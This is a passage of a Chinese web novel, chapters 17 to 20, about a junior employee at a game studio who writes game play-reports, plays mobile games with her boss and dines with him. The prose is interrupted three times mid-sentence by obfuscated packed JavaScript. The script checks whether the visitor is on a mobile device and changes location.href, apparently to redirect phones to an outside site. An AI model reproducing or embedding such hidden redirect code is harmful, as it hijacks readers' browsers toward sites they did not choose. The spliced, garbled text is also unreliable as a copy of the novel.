田妙妙心情好极了,眼里闪闪发光,也懒得去辩解自己压根没迟到:“谢谢老板!今早不用挤地铁了。” 池修白被她的情绪感染,嘴角弯了一下,伸手将她咧开的两瓣唇,捏小鸡似的捏在一起,“傻不拉叽,笑得好蠢。” 田妙妙愣在原地。 他干嘛呀,为什么突然捏她的嘴巴?这会不会有点太出格了…… 池修白在她眼前打了个响指,唤醒她的石化状态,“赶紧收拾,别让我等你。” 语毕,他面色如常,转身离开。 田妙妙连叫嚣的勇气都没有,只能把刚刚的小插曲,当成稍纵即逝的幻觉…… 17. 第17章 坐上车后,田妙妙抓紧时间向池修白汇报自己的近况。 “姜星组长之前交给我的任务,让我给一百个玩家发线下内测资格通知,已经全部发放了。” “然后呢?”池修白敲了下方向盘。 “……”田妙妙很疑惑:“我也不知道接下来要做什么啊?” “光发通知,没有收集相应反馈?有哪些玩家当天有事不能过来,需不需要换人,具体换谁?” 田妙妙心虚:“应该没有不能来的吧……?” “应该?”池修白脸色又冷又臭,他这人一惯讨厌别人用模棱两可的态度回话:“没收集就说没收集,别自以为是。这么简单的小事,都需要别人提醒,我真不知道你非要待在问天做什么?” “我、我……”田妙妙特别难堪,发测试资格这种事情,她接下后没有向姜星追问,具体的完成要求是什么,被池修白一点,顿时觉得自己犯了很低级的失误,深受打击。为什么这么简单的事情,自己就没多想一步呢? “今天上午把反馈整理好给我。”池修白说:“另外,下午工厂那边会送来一批周边礼盒,你配合冯舒邮寄出去。” “哦。”田妙妙应下。 被池修白嫌弃了一通,田妙妙心情没刚上车时好了。 “寄给谁啊?” “VIP玩家” “玩游戏也有vip啊,要办卡吗?” “不办卡,充钱就行。” “多少?” “这次的是二十万氪礼盒。” 田妙妙一惊:“这么多呀。” “三十万氪的礼盒已经投产了,四五十万氪的礼盒也都设计好了。” 田妙妙张了张嘴,说不出话来,心中感慨天底下的有钱人为什么不能多她一个。 早高峰有点堵,田妙妙掏出手机继续看昨天没看完的视频。 池修白瞥了眼,在视频标题处看到【游戏策划入门课程,手把手教你做出……】 见田妙妙看的入迷,时不时截屏保存,池修白没忍住开口:“都没学会走,就想着跑了?你现在看这些有意义吗?” 田妙妙以为他又打算奉劝自己离职转行,故而道:“当然有意义,我迟早会去策划部的,我先学习一下。” “你现在最重要的是多玩几部游戏,详细记录自己的游玩感受,比你看些干巴巴的教学视频有用一百倍。”池修白提点她:“知道成为策划最重要的是什么吗?” 田妙妙不假思索:“专业能力。” “是感受,其次是方法论。”池修白说:“方法论可以在工作中逐渐总结并验证,而感受则是要自己去体会。” “感受?”田妙妙轻声重复。 “对,感受一款游戏最触动你的地方,最能调动你情绪的点,让你想长期玩下去的点,让你忍不住想氪金的点。”池修白说:“一款能玩的游戏和一款好玩的游戏天差地别,策划就是要比普通的玩家更能辨明其中的差别。” 他接着说:“你连游戏都没怎么玩过,连好玩的游戏会带来哪些感受都没有概念,光去了解游戏是怎么搭建的,没有任何意义。就像一个从来没看过几本书的人,报名参加写作培训班,有可能写出好作品吗?” 田妙妙摇头。 她太心急了,她想马上就做出一个游戏demo,想借此证明自己的能力。看,我多么好学,动手能力多强,请让我转岗去游戏策划吧! “市面上的游戏太多了,而且玩游戏会占用很多时间,我害怕没时间再去学别的。” 池修白面色沉重,他严肃起来时给人的压迫感很强:“学习本就需要大量的时间成本,其他人可以直接上手策划相关内容,那是背后有上万小时的游戏时长打底,是对这一行有热爱,有梦想,即便如此,都未必能设计出一款堪称有趣的游戏。” 田妙妙深知池修白说的都是真的,描述行业现状,远比简单的催她辞职,更让人心力交瘁。 “我知道了。” 池修白看她备受打击,快要哭出来的小脸:“打算放弃了?” 田妙妙深吸一口气,摇头:“越是难,越不应该放弃,这样的机会可能一辈子只有一次。” “算你识相。”田妙妙有太多的不足,唯有一点,胜过许多人,就是韧性,野草般的韧性。 她对游戏设计是否有天赋还无法判断,但是想出人头地的决心倒是不加掩饰,这很好,他喜欢有野心的人。 “等你交出三十篇深度游玩报告,我给你转岗。”池修白许诺。 田妙妙直接呆住,以为自己听错了,不可置信地看过去。 池修白补充:“前提条件是你上交的报告有可取之处。” 是否具备敏锐的感知力,以及对游戏的见解和审美如何,都是能从中反应出来的。 田妙妙连忙点头。 她原以为自己至少需要独立完成一款游戏demo才有资格转岗,却没想到,转岗的条件这般宽松,光玩玩游戏就可以了,她的心理顾虑顿时打消了大半。 有了前进的方向,田妙妙顿时恢复活力,只觉得此款干劲十足,想马上就玩。 她突然想到了什么:“玩的游戏种类有没有规定呀,我之前刷到广告,有那种跳转到小程序的小游戏,那种可以吗?” “可以。”很意外的,池修白完全同意。 “哇,你居然能看得上那种小游戏。” “小程序游戏目前的增量相当可观,你如果看过年度游戏产业报告,就不会有这么蠢的反应了。” “我就是觉得,你肯定是做那种特别高大上的游戏的。”就跟你这个人似的,飘在云端。 “呵,懒得跟你说这些。”池修白的车已经开到地下车库,没时间再和田妙妙传输他的游戏理念,只说了一句,“我只做好玩的游戏。” 他的宗旨只有一条,游戏不好玩是死罪。 好玩的游戏必然成功,必然赚钱。 两人进电梯时,田妙妙一直处于亢奋状态,没有和池修白保持社交距离,与他近乎并肩站立,挨在一起。 电梯除了他俩,还有江弘深和宋雅容,田妙妙这才稍退开些距离。 两人都向池修白打招呼。 池修白点头回应。 江弘深又看了眼田妙妙:“新人早啊!和老板一起的?” 宋雅容的目光在田妙妙的池修白之间快速流转一圈,暗含审视的意味,没有说话。 田妙妙很尴尬,她飞速瞥了池修白一眼,见没有要给她解围的样子,只得硬着头皮说:“没有没有,恰好碰见。” “等红绿灯的时候,我怎么看见你坐老板车上。”江弘深藏不住事。 田妙妙咬死不认:“江组长,你看错了吧。” “是吗?可能盯代码盯太久了,老眼昏花。”江弘深嘀咕了下。 恰好电梯门开,田妙妙站在最外面,嗖地一下最先下电梯,小跑离去。吓死了,搭乘池修白的车,风险也太大了!万一被人误会的话,池修白绝对要赶她走。 “Ladyfirst.”江弘深侧身给宋雅容让道,宋雅容端着咖啡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冯舒摇头:“《逐鹿天下》只是ARPU高,DAU还是比不上当年的《修仙世界》。” 田妙妙听不懂,她一边笑着附和,一边暗暗记下这几个英文字母。去卫生间时,悄悄搜索这些字母,原来是常用的游戏数据分析指标,ARPU是指人均收入,DAU是指日活跃用户。田妙妙顺便恶补一通其他的常用指标,以防下次听到时一头雾水,暴露自身的无知和不专业。 等合作快递方的小哥上门揽收,田妙妙总算得到片刻空闲。 她心里装的都是游戏报告的事,得了空立马去玩。 她最先尝试的是,之前有段时间爆火的小程序游戏。 是三消类型,第一关很简单,有手就行,第二关难度陡升,田妙妙来了精神,小心翼翼地玩着,十几分钟后,宣告失败。 田妙妙不服气,明明就差一点,胜负欲上头后,她重开一局。 很遗憾,再度失败,甚至中途还看了个广告换道具。 这游戏该不会是做出来耍人的吧? 她不信邪,去网上搜攻略,不料刷到这个小游戏的作者光靠玩家看广告,一天狂赚几百万,给她气得差点晕过去。 她把游戏分享给池修白,痛批:什么东西,根本通关不了,垃圾游戏! 十分钟后,池修白发来个截图。 恭喜你,加入羊群,通关用时8分32秒 田妙妙:? 田妙妙:你不许玩! 池修白:? 18. 第18章 池修白:半小时后,交报告。 田妙妙:这种游戏有必要写游玩报告吗? 池修白:现成的成功案例,为何不分析? 田妙妙:这你都能看上? 池修白:你在大言不惭什么? 田妙妙:我感觉不到它有什么优点啊?玩的时候也不开心,一点成就感都没有。游戏不是给人带来快乐的吗? 池修白:游戏是给人带来情绪的。 田妙妙一瞬间被点醒,她一直以为成功的游戏必须是有益身心的,给人带来正向的情绪感受。 可现实告诉她,并不单是这样,只要她的注意力被吸引,并切实让游戏开发者获利了,那这款游戏同样是成功的。 她不过是个将将入行的纯新人,却看不上这种小游戏,而池修白作为业界翘楚,反倒能平等地看待每一款游戏。 惭愧啊…… 田妙妙:我知道了,马上写完发给你。 田妙妙:老板,再问你个事,你玩游戏厉害还是做游戏厉害? 池修白:你猜。 田妙妙:我猜……都厉害! 池修白笑了下,田妙妙偶尔的狗腿子表现还挺戳人的:那是自然。 一个小时后,池修白收到田妙妙发来的游玩分析报告。 本想斥责她做事拖拉,不按时发送,点开一看,倒是意外,并不是简短的两三百字,足足一千多的长篇大论,虽然内容没啥专业性,并未触及到游戏爆火的深层原因,倒是详细记述了自己的游玩感受,连要不要看广告的内心纠结也写了出来。 池修白透过这些文字,仿佛看见那个聚精会神,但又气个半死的田妙妙。 ……很鲜活,很可爱。 除此之外,另一个可取之处就是她很细心,上交的文档,没有一处错别字,排版也很简洁干净,没有敷衍了事的嫌疑。是个做事细心的姑娘。 池修白在桌面建了个文件夹,把报告丢进去。 文件夹取名——野草观察记录。 快下班时,田妙妙没有收到池修白的回复,忍不住敲他:白神,第一份报告过关了吗? 她会选择“白神”作为她谄媚时的称呼。 池修白回复:OK,要是能少点啰里叭嗦的内心戏就好了。 田妙妙不服:是你说感受很重要的! 池修白:其中并不包含,看到作者赚钱,你很不爽的感受。 田妙妙:…… 好吧,她忘了,池修白也是个疯狂吸金的游戏制作人,自然看不得别人不爽他挣钱。 田妙妙:你不一样。看到你赚钱,我特别开心~ 池修白:哦? 田妙妙:你赚钱,才能给我们发奖金嘛! 池修白逗她:没你的份。 田妙妙不爽,就算她没有开发游戏的资格,那也不至于一点奖金都蹭不到嘛,白娘子真是条不折不扣的资本毒蛇! * 姜星走后,她的职责一分为二,由冯舒和孙正阳承担,田妙妙也暂时待在这个部门。 运营部当前并不忙碌,《逐鹿天下》趋于稳定,《无限异变》还没上线,工作强度一般,跟忙得热火朝天的游戏开发部门一比,简直舒服得可以开party了。 冯舒性格很好,孙正阳又是个贫嘴,办公室的氛围相当好。 田妙妙一旦有空,就开始玩游戏,在问天工作室玩游戏不会有任何同事说她,毕竟在游戏公司打游戏那是天经地义的,问就是研究竞品。 田妙妙尝试的第二款游戏,仍然是个小程序游戏,这种游戏操作简单,还不需要下载,只需要半个小时就能体验全部内容,特别方便写游玩报告。 这次是跳一跳,比羊了个羊更久远的小游戏,也曾在某个时段掀起全民热玩的浪潮。 这次就没那么脑溢血了,就是很杀时间,手感到位之后能玩很久。 可惜田妙妙很快就感到厌烦,因为排行榜上根本没人。 她很快体会到,玩家竞争性在游戏中发挥的重要作用。 玩游戏除了乐趣,还在于装逼,又或许装逼也是乐趣的一种。 田妙妙开始发散思维,她上学的时候,虽然不玩游戏,但对于男生游戏打得好能招妹子喜欢这事有所耳闻,曾经初中隔壁班的某个男生,就因为打游戏厉害谈了不少恋爱呢。 那池修白呢…… 他自诩打游戏和做游戏一样厉害。他玩什么游戏啊?会不会在游戏里带妹呢? 田妙妙忍不住问:白神,你都玩什么游戏啊? 池修白:上班期间禁止闲聊。 田妙妙:…… 可是你也回了呀。田妙妙在心里吐槽。因为要给他发游玩报告,田妙妙会私下和池修白聊些别的,不仅限于工作上的事。 他有空时就回复,忙工作时就不回复。 田妙妙:小程序游戏我交了三篇报告了,现在想尝试下手游,可是我手残,你玩游戏那么厉害,能不能带带我? 池修白:拿我当陪玩?你好好掂量一下,付得起吗? 田妙妙纳闷:一起玩游戏,还要花钱? 池修白搜了张热门游戏的陪玩价目表发过去。 田妙妙目瞪口呆,她只知道游戏里面有充值道具,没想到游戏外也有消费市场。一款热门的游戏周边生态居然这么繁杂,有陪玩,有代肝,有代打,有道具交易,还有账号买卖。 田妙妙是个不折不扣的穷人,她连在游戏里充钱都是不可能的,更别提在游戏外花钱了。 可是……她心里确实挺想跟池修白一起玩游戏的。 咬了咬牙,田妙妙豁出去了:那我点两个小时吧。 价目表上是50元一小时。她不情不愿地转了100元红包过去。 池修白正在跟开发组的人开会,看见红包时,没憋住低笑出声。 正在做汇报的宋雅容停下来,低头检查策划案是否有明显漏洞。 池修白咳了声,正色道:“没事,继续。” 田妙妙看见红包被领走了,但却没有回复。 催问:都收费了,可以开始了吧? 很快,一张图片发来。是会议室,大概七八个人正在开会,投影屏幕上是新游的养成系统改进方案。 田妙妙一下子明白过来他在开会呢,而自己正在摸鱼,上班时间还光明正大地约老板打游戏,顿时心虚不已。 都怪问天工作室的氛围,实在是……宽松到让人放纵了。 池修白:工作内容不饱和是吧?今晚留下来加班。 ! 田妙妙大惊,百般不愿地回:收到。 下午六点,孙正阳走前,看见田妙妙还在工位上,不由怪异问:“田妹子你怎么还不走?” 田妙妙不好意思说池修白留她加班,感觉泄露出来的话,以孙正阳的人缘和传播度,明天全工作室都会误以为她和池修白有什么不可告人的秘密。 池修白还不把她给剁了? “我还有点东西要整理。” “我看你下午都在打游戏哎,还有什么东西没处理完,用不用我帮忙?” 田妙妙大窘:“没有,没有,就是这几天工作的心得体会,我整理消化一下。” “这还用整理?”孙正阳心道你这几天干的不全是杂活吗,也能激发出心得感悟来? 田妙妙透过他疑惑的表情,大致能读取到他的心声,厚着脸皮道:“嗯,需要的,这是我的工作习惯。” “牛逼,好习惯。”孙正阳冲她竖大拇指,一脸“我服了”的表情,“那你最后走,别忘了关灯锁门,哦对了还有空调。” “好的,好的。”田妙妙连连点头。 办公室只剩她一个人,手头没活,池修白也没联系她,田妙妙只得继续打游戏。 这次她下载的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097007|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是王者荣耀,曾经短暂玩过一两局,因手残被举报后卸载。 这次重新下载回来,她已经不在乎操作如何、会不会坑人,而是用另一种心态玩游戏,去感受为什么这款游戏长盛不衰。 进了游戏,漫长的新手教程,放以前田妙妙会很快点掉,现在她会耐着性子认真学习。 新手教程过完之后,她看了眼好友列表,不少人呢,当前在线的没有。 她只能自己去打匹配。 一局下来,收获0-11-2的骇人战绩,灰溜溜跑去打人机。 惨的是人机模式,她都觉得吃力,可是输给电脑实在太丢人了。 田妙妙坐直身体,全神贯注地操纵着英雄东躲西藏,连上去打架都不敢。 一局人机被她拖了二十分钟,最终遗憾败北。 她简直要崩溃了。 然后,就听见脑后传来一声低笑,很磁性,让人痒痒的。 田妙妙石化,一秒钟把手机翻过去,不让身后的人看见战绩。 “人机都能输,赶紧卸载吧,你好意思打我都不好意思看。”声音很好听,语气很嘲讽。 田妙妙转过头去,替自己辩解:“我是新手,刚玩。” 池修白仍是笑着的,“你的操作在新手里也是垫底的存在。” “你很厉害嘛,我看你的段位也才星耀。”田妙妙的认知里,段位得上王者才是高手。 池修白懒得跟她解释,自己的段位是长时间没玩,才掉到星耀的。 多说无益,他掏出手机,上线后,拉她一起进入5v5匹配。 田妙妙进入后,选的英雄是后羿,她方才打的就是后羿。 射手被抢,池修白也没有选择打野和法师这两个能输出的位置,拿了个钟馗辅助。 因为仔细看过新手教程,田妙妙知道应该往下路走,没有像纯小白一样不管不顾地走中路找人打架。 但她很怂,到了下路也就只敢打打小兵,然后龟缩到草丛或者防御塔下。 池修白很激进,走位和操作都很细:“离我近一点,我勾人过来,你只需要不停地点点点,有技能就放技能。” 田妙妙一边回答明白,一边壮着胆子从自家防御塔出去,来到池修白身后。 下一秒,钟馗的钩子精准勾来了射手,田妙妙紧张爆炸,眯着眼睛疯狂点攻击键。 在听到firstblood的播报声时,她才如梦初醒,自己这是拿一血了? 拿下这个人头,田妙妙胆量大增,没有那么害怕了,原来自己也是可以杀人的。 池修白的预判准到吓人,操作意识也很好,什么时候能打、什么时候不能打,全在掌控之中。 田妙妙什么都不用考虑,只需要紧跟着钟馗,他打什么,自己就打什么,他勾来人,自己就平A加放技能,神奇的是每次都能杀掉对方。 池修白好像连她的杀害和敌方的血量都算计得明明白白。 毫不意外地,这一局她赢了。 还赢得特别爽,参与感满分,她的后羿伤害输出爆炸。 田妙妙得意洋洋,把手机递到他眼前,秀道:“你看,我拿了MVP!” 池修白扬眉:“怎么样,这100块钱花得值不值?” 田妙妙喜笑颜开:“太值了,太爽了,怪不得大家愿意点陪玩呢。” 池修白:“这么高兴啊?那你请我吃饭吧。” 田妙妙:??? 这什么神发展?带她赢一把游戏,就让她请吃饭…… 市中心的一顿饭,那得多贵啊?田妙妙的心要滴血了! “我饿了。”池修白催促:“怪你操作太下饭了。” 这都能怪上她?田妙妙无语凝噎。 “老板,能不能商量一下。” 池修白挑眉,示意她继续说。 田妙妙弱弱地问:“请你吃麻辣烫行吗?” 19. 第19章 “你真行。”池修白听到麻辣烫三个字,简直要气笑了,“不好意思,我挑食,肠胃弱,吃不来。” 田妙妙心道,你就是想宰我罢了! “你喜欢吃什么?要不我回去做给你吃,我手艺很好的哦。”田妙妙想继续挣扎一番。 池修白偏不如她意:“你手艺能跟厨师比吗?” 田妙妙悄悄撇了下嘴,这个池修白可真难伺候啊! “不是说今晚要加班吗?”田妙妙小声咕哝:“怎么还有时间出去吃饭。” 池修白点头:“的确要加班,就去附近的商场随便吃点吧。” 田妙妙欲哭无泪,距离工作室最近的商场可是奢侈品店大荟萃啊,顶楼餐厅没四位数根本下不来的,他口中的随便吃点,够她几个月的买菜钱了。 “赶紧走吧,别耽搁了。”池修白把她提溜起来,提醒道:“吃完还得回来加班呢。” 田妙妙面上强撑,心里把池修白骂得死去活来,强迫员工加班,强迫员工请吃饭,堪称无敌旋风级别的黑心无良老板! 半小时后,两人来到商场顶楼。 池修白挑了家带露台的餐厅,天色渐暗,露台的装饰灯带亮起来,氛围感十足,微风拂过,很是惬意。 田妙妙看着菜单,苦涩极了,如她所料,贵的不行,一盘普通的果切都要三位数。 池修白见她没出息的样子,对着菜单翻来覆去不敢点,便直接招手叫来服务员,快速点单。 服务员走后,田妙妙瞠目结舌:“你点了哪几个?” 池修白只笑不答,眼里是狡黠的光:“让你破费了。” 田妙妙还能说什么,咬牙装大款:“反正你前几天刚给我转了两万。” 等上菜的间隙,田妙妙化身网瘾少女,点开游戏:“看在我这顿大出血的份上,你再带带我呗。” “好说。”池修白也登上游戏。 池修白一边无情嘲讽田妙妙的稀烂操作,一边用心给她提供舒适的输出环境。 田妙妙对他的毒舌已经近乎免疫,而游戏里的他是真的很能提供安全感,不用担心被敌方英雄抓,也不用担心打不中人,只需要无脑跟着他的节奏来就行。 再次赢下战局后,田妙妙感慨:“感觉王者好玩就好玩在,和朋友一起组队。”尤其还是有大腿抱的情况,那就更好玩了。 说完,她就察觉到不妥之处,她跟池修白,哪里算得上朋友啊? 田妙妙心虚地瞄了眼池修白,他似乎没有什么特别的反应。 “为什么你玩什么游戏都这么……嗯,得心应手?”田妙妙吹捧道:“羊了个羊你能一次通关,王者你也玩得这么溜,是不是你们做游戏的,天生要比普通玩家有游戏天赋啊?” “你直接夸我不就行了,生拉硬扯什么借口?”池修白悠悠开口:“玩游戏和做游戏两码事,就跟厨师和食客差不多。” “是的。”田妙妙嘿嘿笑了一声:“所以我打游戏菜,不能证明我以后就没法做游戏是吧?” “你倒是会给自己贴金。”池修白扯了下嘴角。 他还记得第一次见田妙妙时,她那瑟缩的样子,几天过去,倒是大方不少,还会跟他开玩笑了。 服务员陆续上菜。 由于是在露台的位置,桌面并不宽广,几份餐品直接把桌面占得满满当当。 田妙妙肉疼不已地开炫。 按照她的口味来说,是好吃的,但完全不值那么贵,给她点时间,她也能复刻个八分像。 田妙妙边吃,边偷看池修白,他嘴上说着饿死了,吃东西却一点也不急躁,看不出来到底饿不饿。 “你喜欢吃甜食呀?”见池修白在戳慕斯蛋糕,田妙妙新奇道:“真稀奇。” “稀奇什么?”池修白放下叉子,好整以暇地说:“你对我这么关注做什么?难不成……” 田妙妙一愣,没想到池修白这么说,难道是看出她的小心思了? 忙否认道:“眼睛长在我脸上,就看见了啊,我哪有特意关注什么?” 池修白挑了下眉,没说什么。 两人继续用餐,田妙妙安静下来,光吃不说。 池修白倒了杯红酒。 田妙妙又忍不住说:“你晚上不开车吗?” “不开。”池修白把倒好的那杯酒往她面前一推,又开始倒另一杯。 “给、给我的?”田妙妙结巴:“我、我没喝过……” “爱喝不喝。”池修白没搭理她,给自己倒完酒后,慢慢饮用起来。 夜色甚美。男色怡人。红酒醉人。 还没喝,田妙妙就觉得有点要晕了…… 刚端起酒杯,田妙妙余光突然看到一个熟人身影,她赶紧疯狂眨眼,向池修白示意。 是姜星,和一位陌生男士,一起来的。 服务员把他们引到空位上,离田妙妙和池修白大概五米远。 那位男士该不会就是姜星即将订婚的对象吧?田妙妙扭头去看。 池修白用高脚杯碰了一下她的杯子,示意她别跟个猥琐偷窥犯一样,净给他丢脸。 田妙妙回过头,认真打量着池修白,不得不承认:“姜星组长的审美下降好严重。” 池修白笑了,他笑起来的时候,眉宇间会有种少年气,冲淡了自身的熟男气质。 你笑起来真好看。田妙妙在心里说了句,没敢说出口。 “别人也这么评价我的。”池修白忽然开口。 田妙妙脑子一时没转过弯,不知他意指什么,思考片刻才弄清楚,是别人说池修白的审美下降了,从姜星下降成她了吗? “谁说的?”她又羞又气。 池修白摇着酒杯,但笑不语。自然没人无聊评价这些,他专程说出来逗她玩。 田妙妙说:“老板你在乎名声,不想和我有牵扯,我知道的,可是我也在乎呀,下次再有人这么说,你一定要狠狠批评他!既败坏了你的名声,也损毁我的名誉。” “跟我牵扯不清有损你名誉了?”池修白光速变脸,小嘴吐出毒汁来:“你有什么名誉?我怎么看不出来?” 田妙妙没有底气地说:“我将来也是要谈恋爱的呀,传出这种事情,以后男朋友当然会生气。” “谈恋爱?”池修白:“你先想着怎么转正吧。嘴上说着要进策划组,脑子想的是谈恋爱,要不我现在就放你去谈恋爱?” 田妙妙赶紧摇头:“工作重要,工作重要。” 她举杯去敬池修白:“我保证把工作的事情放在第一位,绝对不会谈恋爱的。” 池修白哼笑:“我可没有要剥夺你谈恋爱的自由。” 在两人还在拌嘴时,服务员端着一盘刺身拼盘,放下后伸臂朝姜星方向示意,说:“那桌刘先生请两位的,请慢用。” 服务员下去后,田妙妙咋舌:“姜星组长的未婚夫请的。” “能吃吗?”田妙妙无辜地眨眼睛。 她感觉那人不友善啊…… “别人请的,不吃白不吃。”池修白一派风轻云淡,丝毫没有动怒。 田妙妙还是不敢动筷,池修白却剥了个甜虾给她。 池修白亲手剥的虾,田妙妙受宠若惊,扭头看向姜星…… 果然,姜星面色不佳。 田妙妙顺从地吃掉甜虾。 池修白继续剥虾,田妙妙忙说:“不用了,我自己来……” 池修白没理,手上慢条斯理地剥着,看得出来,他并不熟练。 等又剥完两条,池修白不剥了,田妙妙朝后方一看,姜星已经离席。 没有观众后,池修白自然就懒得演了。 在湿毛巾上擦完手,池修白起身:“我先出去一下。” 他是去找姜星吗?田妙妙点头,口中上等的鳌虾瞬间没了滋味。 大概十分钟后,池修白回来。 田妙妙正在吃刺身盘中切好的片状物,醇香绵密,入口即化,口感有点像奶油冰淇淋。 “这是什么啊?”她不认识。 “鹅肝。”池修白瞟了眼。 田妙妙啊了声,放下筷子:“这能生吃吗?” “是熟的。”池修白打消她的疑虑:“抓紧吃吧,别耽误加班。” 田妙妙飞速把剩下的几块鹅肝全解决掉,别人送的就是比自己花钱买的好吃。 一抬头,看见池修白的面色有些阴郁,凉飕飕地说:“呵,下次带你去吃正宗的法国朗德鹅肝。” 田妙妙把口中的咽下去:“啊?这个就很好吃了呀。” “出息。”池修白将高脚杯中剩余红酒一饮而尽,结束用餐。 “你吃的好少。”田妙妙评价,看着餐盘中还剩下一半的食物,她心疼不已,心中怒嚎,吃不完不要点这么多啊!她的钱啊…… “我要打包。”田妙妙表示。 “不准。”池修白:“从来没有女人跟我吃饭还打包的。” “浪费可耻。”田妙妙不解:“再说了,是我花钱,我打包,为什么要经过你同意?” 田妙妙叫来服务员,真的要来餐盒打包剩余食物。 池修白简直无话可说。 离开时,田妙妙去服务台结账,被告知池先生刚才已经结过两桌了。 田妙妙看向池修白,刚才他离席,该不会就是结账去了吧? 池修白:“看什么看,还不赶紧走?” “不是让我请吗?”田妙妙拎着打包盒,快步跟上池修白的步伐。 “你没听过一句话吗,不要花穷人的钱,那都是有代价的。”池修白振振有词。实际上,他怎么可能会让女人请他吃饭。 “你怎么还把姜星组长那桌也结了?” “我钱多乐意。”池修白啐了一口,低声骂道:“吃不来别人给的东西,什么玩意也配给我添菜。” 田妙妙噗呲一声。 “笑屁啊?”池修白翻她一白眼。 “原来你生气了啊?”田妙妙安慰道:“为什么要生气,他哪里都不如你,只能打肿充胖子,他愿意送就送嘛。” 池修白哼声。 田妙妙莫名觉得,男人不管年纪多大,骨子里都是带点幼稚的。池修白看起来是成熟稳重有格调的冷都男,其实骨子里蛮傲娇的,她不由得联想到猫,名贵且难伺候的宠物猫。 返回工作室。 工作室的员工大半下班,游戏开发部门仍亮着灯,田妙妙和池修白拉开距离,防止被人看见走得太近。 田妙妙回办公室继续打游戏,决定再打几把就尝试开排位。 没了池修白这条大腿的加持,田妙妙打得相当吃力,拼尽全力还是没有翻盘。 她把手机丢到一边,犯愁这个游戏报告要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“策划吗?”陈驰之问道。对于专业性要求相对没那么高的,就只有策划部了。 田妙妙点头,“是不是有点痴人说梦?” “不,我认为你肯定能转策划,之前面试的时候,我就预感你肯定能进问天。” “借你吉言。” 陈驰之没待多久,起身回自己的办公室。 出门时,和池修白迎面撞上。 来不及纳闷,陈驰之立刻打招呼:“白神好。” 池修白点头,应声:“我来看一下还有谁在?你也别加太晚,注意身体。” 收到偶像的关怀,陈驰之感动不已:“我没事,等再跑一遍程序,没bug就下班。” 等陈驰之快步离去后,池修白才进去。 田妙妙已经听到他们两人的声音,刚才还提心吊胆了一下,毕竟他一个大boss无缘无故来找下属,很难不让别人多想的。 池修白抱着手臂,在她身边环视一圈,不咸不淡地说:“看来是我小瞧你了,交友能力还挺不错么,都不局限于运营部,手都伸到程序这边来了。” 这话听着怪怪的,可能在他看来,自己就该是个毫无人缘的可怜虫才对。 “一起面试的时候认识的。” “哦,魅力不小。”池修白话中带着调侃和讽刺。 其实,仔细观察田妙妙,不难看出,这姑娘并不是普通无聊的长相,相反她五官很耐看,面部轮廓流畅,等过段时间营养上来后,再胖一点,面色红润些,颜值会飞升一大截。 更关键的是,她身上有股天然柔软的亲和力,非常吸引刚毕业的男大学生。 不外乎,陈驰之对她有点意思呢。 “还好吧,不及您的百分之一。”田妙妙不太想和池修白斗嘴,索性无脑吹捧他,企图赶紧送走这尊大佛。 池修白像是一拳打在棉花上。 田妙妙有时倔强得像块顽石,又臭又硬,有时又狡猾得像条泥鳅,顺着你让你挑不出错来。 池修白瞥了眼她的电脑。 打开的文档界面,正在撰写关于王者的游玩报告。 可算给他挑到刺了:“你才打了几把,连入门都算不上,排位都没开吧,就能写报告了?合理怀疑,之前几份报告是不是也这么敷衍了事?” “没有,我这就是草稿,之后还会继续体验、持续跟进的。”田妙妙解释说:“之前的游戏报告都是小程序游戏,内容量本来就少,所以体验得快,没有敷衍了事。” 池修白当然知道是这样。冤枉你的人往往比你更明白你的无辜。 “回去吧,不用再这浪费电了。”池修白催她下班。 原本让她加班也就是随口一说。 田妙妙已经体会到了池修白的变化多端、喜怒无常,一会让她加班,一会让她回去,全凭自己的心意。 比起加班,她自然愿意回去。田妙妙老老实实地收拾桌面,保存文档关机。 正要离开时,听到某人说:“我胃里不舒服,等下回去要喝汤。” 田妙妙:??? 这是,拿她当做饭阿姨使唤了吗? 你胃里不舒服,你晚上还一直光喝酒不吃饭啊,活该! 田妙妙匪夷所思地望向池修白,见对方坦坦荡荡的表情,差点以为自己听错了,“你晚上要过去?” 池修白厚颜无耻地点头。 20. 第20章 田妙妙在厨房煮汤时,仍是心神不定的。 离开工作室,随着地铁的人流移动,恍恍惚惚了一路。 池修白怎么能这么理所当然地让她准备夜宵,甚至再度留宿呢? 简直疯了! 这套房子的确是他的个人资产,他想来就来,寄人篱下就是这点不好,根本没有说“不”的权利。 可点开租房软件,看了眼S市的房价租金,田妙妙忍了。 做人嘛,就得能屈能伸,不就是被当成做饭阿姨嘛,她就当付房租了。 田妙妙颇为阿Q地自我安慰一番。 灶台上是咕噜冒泡的青菜瘦肉粥,鉴于池修白说胃不舒服,田妙妙在熬汤和煮粥之间,选择了后者。 粥已渐渐浓稠,田妙妙仍然思绪翩飞,她脑海中总会闪现池修白的一举一动,她诧异发觉,自己对他有些过分关注。 甚至连他今晚喝酒时眉头微皱的神情都印象深刻。 她承认,自己多少被他吸引…… 可这真的不可饶恕吗? 如果他将她拒之千里之外,对她冷若冰霜,不给半点希望,或许她也不会对他有别样心思。可为什么要给她买衣服,为什么要给她提供住处,为什么要开车载她去参加聚餐,为什么要替她解围,为什么同意以后给她转岗,为什么要带她打游戏,为什么要请她吃饭,为什么要来这边留宿…… 为什么一边告诫她不要痴心妄想,一边又做出一系列让她想入非非的举动? 